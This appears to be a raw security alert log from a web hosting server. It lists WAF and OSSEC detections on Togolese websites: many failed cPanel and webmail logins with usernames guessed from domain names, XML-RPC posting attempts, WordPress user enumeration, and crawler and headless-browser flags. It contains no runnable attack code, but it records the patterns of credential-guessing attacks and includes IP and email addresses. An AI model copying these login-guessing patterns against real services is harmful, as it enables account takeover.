IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:17e81afc6e817f8384be82f38b5da3126e15e2b3||Title:0x4a1bd688||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd4b879daa9ae00e78f757cb1909610b914e6479||Title:0x8db96f9a||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.215.198.43
country_id: 1880251
description:
2026-06-26 13:52:39 dovecot_plain authenticator failed for H=(KMC-AP01.mlit.local) [104.215.198.43]:58244: 535 Incorrect authentication data (set_id=bylazef@mailinator.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.215.198.43
country_id: 1880251
description:
Jun 26 13:52:43 ns5 auth[393837]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.215.198.43 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.177.84
country_id: 1880251
description:
43.173.177.84 - - [26/Jun/2026:13:54:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198750&pdata=https%253A%252F%252F24heureinfo.tg%252Ffinances%252Fla-banque-mondiale-va-decaisser-11-millions-de-dollars-au-togo&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782482044 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/finances/la-banque-mondiale-va-decaisser-11-millions-de-dollars-au-togo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.177.84


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-26 13:55:10 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:44512: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.188.178.186
country_id: 3895114
description:
[2026-06-26 13:56:38 +0000] info [cpaneld] 201.188.178.186 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.247.88.222
country_id: 2589581
description:
[2026-06-26 13:56:48 +0000] info [cpaneld] 154.247.88.222 - togofeedcom "GET /login/?login_only=1&user=togofeedcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofeedcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.114.105.64
country_id: 3996063
description:
[2026-06-26 13:56:58 +0000] info [cpaneld] 201.114.105.64 - togofe "GET /login/?login_only=1&user=togofe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.78.66.133
country_id: 2542007
description:
[2026-06-26 13:57:01 +0000] info [cpaneld] 105.78.66.133 - togof "GET /login/?login_only=1&user=togof&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togof (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.78.224.135
country_id: 3277605
description:
[2026-06-26 13:57:08 +0000] info [cpaneld] 77.78.224.135 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.50.88.204
country_id: 1733045
description:
[2026-06-26 13:56:45 +0000] info [cpaneld] 60.50.88.204 - togofeed "GET /login/?login_only=1&user=togofeed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofeed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.229.75
country_id: 3686110
description:
[2026-06-26 13:57:05 +0000] info [cpaneld] 38.156.229.75 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.51.25.17
country_id: 3469034
description:
[2026-06-26 13:57:13 +0000] info [cpaneld] 189.51.25.17 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-26 13:59:40 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.214.30.219
country_id: 630336
description:
[2026-06-26 14:00:10 +0000] info [cpaneld] 37.214.30.219 - mediatop "GET /login/?login_only=1&user=mediatop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.137.89.119
country_id: 3469034
description:
[2026-06-26 13:59:59 +0000] info [cpaneld] 143.137.89.119 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.92.50.232
country_id: 3469034
description:
[2026-06-26 14:00:07 +0000] info [cpaneld] 177.92.50.232 - mediatopnewstg "GET /login/?login_only=1&user=mediatopnewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnewstg (has_cpuser_file failed)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 136.119.50.158
country_id: 6252001
domain: mail.ruralinfos.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.21||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
description:
[2026-06-26 14:01:03 +0000] info [cpaneld] 109.123.237.132 -  pduusmyf  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.228.41.151
country_id: 3469034
description:
[2026-06-26 14:00:30 +0000] info [cpaneld] 168.228.41.151 - medi "GET /login/?login_only=1&user=medi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user medi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.28.64.42
country_id: 286963
description:
[2026-06-26 14:00:33 +0000] info [cpaneld] 37.28.64.42 - med "GET /login/?login_only=1&user=med&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user med (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.226.139.82
country_id: 3686110
description:
[2026-06-26 14:00:37 +0000] info [cpaneld] 38.226.139.82 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.232.209.133
country_id: 3895114
description:
[2026-06-26 14:00:14 +0000] info [cpaneld] 45.232.209.133 - mediato "GET /login/?login_only=1&user=mediato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediato (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.212.190.98
country_id: 2287781
description:
[2026-06-26 14:00:17 +0000] info [cpaneld] 102.212.190.98 - mediat "GET /login/?login_only=1&user=mediat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.97.111.183
country_id: 1605651
description:
[2026-06-26 14:00:22 +0000] info [cpaneld] 171.97.111.183 - media "GET /login/?login_only=1&user=media&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user media (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.37.116.100
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:198.37.116.100||TA:198.37.116.100||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.42.225.147
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.42.225.147||TA:193.42.225.147||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.55.154
country_id: 2658434
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.55.154||TA:104.253.55.154||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.191.81
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:148.135.191.81||TA:148.135.191.81||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.222.187.76
country_id: 2750405
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.222.187.76||TA:104.222.187.76||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.103.179
country_id: 2077456
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:46.203.103.179||TA:46.203.103.179||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 145.223.40.222
country_id: 1861060
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:145.223.40.222||TA:145.223.40.222||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.186
country_id: 1880251
description:
47.128.121.186 - - [26/Jun/2026:14:05:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725639&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fle-nouvel-ambassadeur-de-france-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782482722 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/le-nouvel-ambassadeur-de-france-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.186


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 202.155.186.240
country_id: 2077456
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:202.155.186.240||TA:202.155.186.240||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.58.78.186
country_id: 6252001
domain: dankpen1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.182
country_id: 1880251
description:
43.173.182.182 - - [26/Jun/2026:14:10:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10327193&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fa-la-une%25252Fmali-la-cedeao-va-adopter-une-declaration-forte-pour-une-sortie-de-crise%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782483031 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2F24heureinfo.tg%2Fa-la-une%2Fmali-la-cedeao-va-adopter-une-declaration-forte-pour-une-sortie-de-crise%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.182


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.27.107.8
country_id: 1562822
domain: macite.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/macite.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.18.38.6
country_id: 6252001
description:
[2026-06-26 14:12:49 +0000] info [cpaneld] 174.18.38.6 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.86.73.112
country_id: 6252001
description:
[2026-06-26 14:12:56 +0000] info [cpaneld] 174.86.73.112 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.37.3.81
country_id: 3469034
domain: cloud-et-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-et-racks.tg/wp-content/uploads/2022/10/Magazine-cloudRacks.pdf HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.43.161.146
country_id: 6252001
description:
[2026-06-26 14:12:32 +0000] info [cpaneld] 68.43.161.146 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.227.127.205
country_id: 6252001
description:
[2026-06-26 14:12:44 +0000] info [cpaneld] 98.227.127.205 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.101
country_id: 1880251
description:
43.173.180.101 - - [26/Jun/2026:14:13:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7064007&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F2707&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782483208 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/2707" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.101


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.19.109.36
country_id: 1643084
description:
103.19.109.36 - - [26/Jun/2026:14:14:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251671&pdata=https%253A%252F%252Fcfpj.tg%252Fyedk-205945netidm49zen.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782483276 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/yedk-205945netidm49zen.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.19.109.36


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.110.141.135
country_id: 6252001
description:
[2026-06-26 14:15:50 +0000] info [cpaneld] 75.110.141.135 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.150.85.164
country_id: 6252001
description:
[2026-06-26 14:15:56 +0000] info [cpaneld] 169.150.85.164 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.160.25.75
country_id: 6252001
description:
[2026-06-26 14:15:29 +0000] info [cpaneld] 73.160.25.75 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.32.128.78
country_id: 6252001
description:
[2026-06-26 14:15:40 +0000] info [cpaneld] 76.32.128.78 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.59.40.203
country_id: 6252001
description:
[2026-06-26 14:15:43 +0000] info [cpaneld] 71.59.40.203 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.202.16.159
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.202.16.159||TA:193.202.16.159||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.176.136
country_id: 1880251
description:
43.173.176.136 - - [26/Jun/2026:14:19:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815959&pdata=https%253A%252F%252F24heureinfo.tg%252Feconomie%252Fle-covid-19-plonge-lafrique-subsaharienne-dans-sa-premiere-recession-depuis-25-ans&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782483574 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/economie/le-covid-19-plonge-lafrique-subsaharienne-dans-sa-premiere-recession-depuis-25-ans" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.176.136


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.85.226
country_id: 6252001
description:
[2026-06-26 14:20:54 +0000] info [whostmgrd] 82.40.85.226 - AMEDEKA "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.190.118.107
country_id: 3469034
description:
[2026-06-26 14:21:06 +0000] info [cpaneld] 45.190.118.107 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.224.162.117
country_id: 3469034
description:
[2026-06-26 14:21:26 +0000] info [cpaneld] 45.224.162.117 - mft "GET /login/?login_only=1&user=mft&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mft (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 18.234.34.49
country_id: 6252001
domain: mail.africa.netmaster.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.65.80
country_id: 6252001
description:
[2026-06-26 14:21:16 +0000] info [cpaneld] 82.40.65.80 - AMEDEKA "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AMEDEKA (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.157.180.182
country_id: 1522867
description:
[2026-06-26 14:21:18 +0000] info [cpaneld] 93.157.180.182 - mftog "GET /login/?login_only=1&user=mftog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mftog (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.173.6
country_id: 1880251
description:
43.173.173.6 - - [26/Jun/2026:14:22:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12830613&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F10548&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782483751 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/10548" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.173.6


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.125.210
country_id: 6252001
description:
[2026-06-26 14:22:47 +0000] info [cpaneld] 82.40.125.210 - cloudetracks "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.153.130.199
country_id: 6252001
description:
[2026-06-26 14:22:18 +0000] info [whostmgrd] 35.153.130.199 - cloudetracks "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.98.215
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.64.37.72
country_id: 3865483
description:
[2026-06-26 14:24:21 +0000] info [cpaneld] 179.64.37.72 - kpm "GET /login/?login_only=1&user=kpm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.36.193.164
country_id: 3469034
description:
[2026-06-26 14:24:13 +0000] info [cpaneld] 177.36.193.164 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 112.208.76.53
country_id: 1694008
description:
[2026-06-26 14:24:28 +0000] info [cpaneld] 112.208.76.53 - kp "GET /login/?login_only=1&user=kp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kp (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 62.105.205.239
country_id: 1605651
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:62.105.205.239||TA:62.105.205.239||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.193.247
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:38.154.193.247||TA:38.154.193.247||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.39.17
country_id: 2363686
description:
[2026-06-26 14:32:38 +0000] info [webmaild] 196.170.39.17 - colettemigan84@gmail.com  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.209.132.111
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.127 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.2.195.39
country_id: 6252001
description:
[2026-06-26 14:34:43 +0000] info [cpaneld] 68.2.195.39 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.133.155.13
country_id: 6252001
description:
[2026-06-26 14:34:50 +0000] info [cpaneld] 69.133.155.13 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.148.34.9
country_id: 6252001
description:
[2026-06-26 14:34:32 +0000] info [cpaneld] 73.148.34.9 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.242.145.206
country_id: 6252001
description:
[2026-06-26 14:34:36 +0000] info [cpaneld] 96.242.145.206 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.104.106
country_id: 6252001
description:
[2026-06-26 14:34:57 +0000] info [cpaneld] 172.59.104.106 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.39.17
country_id: 2363686
description:
[2026-06-26 14:35:06 +0000] info [webmaild] 196.170.39.17 - contact@fbafrica.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.39.17
country_id: 2363686
description:
[2026-06-26 14:35:49 +0000] info [webmaild] 196.170.39.17 - contact@fbafrica.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.63.227.215
country_id: 3439705
description:
[2026-06-26 14:38:48 +0000] info [cpaneld] 167.63.227.215 - lagorainfo "GET /login/?login_only=1&user=lagorainfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.178.29.105
country_id: 3469034
description:
[2026-06-26 14:38:53 +0000] info [cpaneld] 45.178.29.105 - lagorainfotg "GET /login/?login_only=1&user=lagorainfotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainfotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.134.180
country_id: 3658394
description:
[2026-06-26 14:38:56 +0000] info [cpaneld] 157.100.134.180 - lagorain "GET /login/?login_only=1&user=lagorain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.113.72.244
country_id: 690791
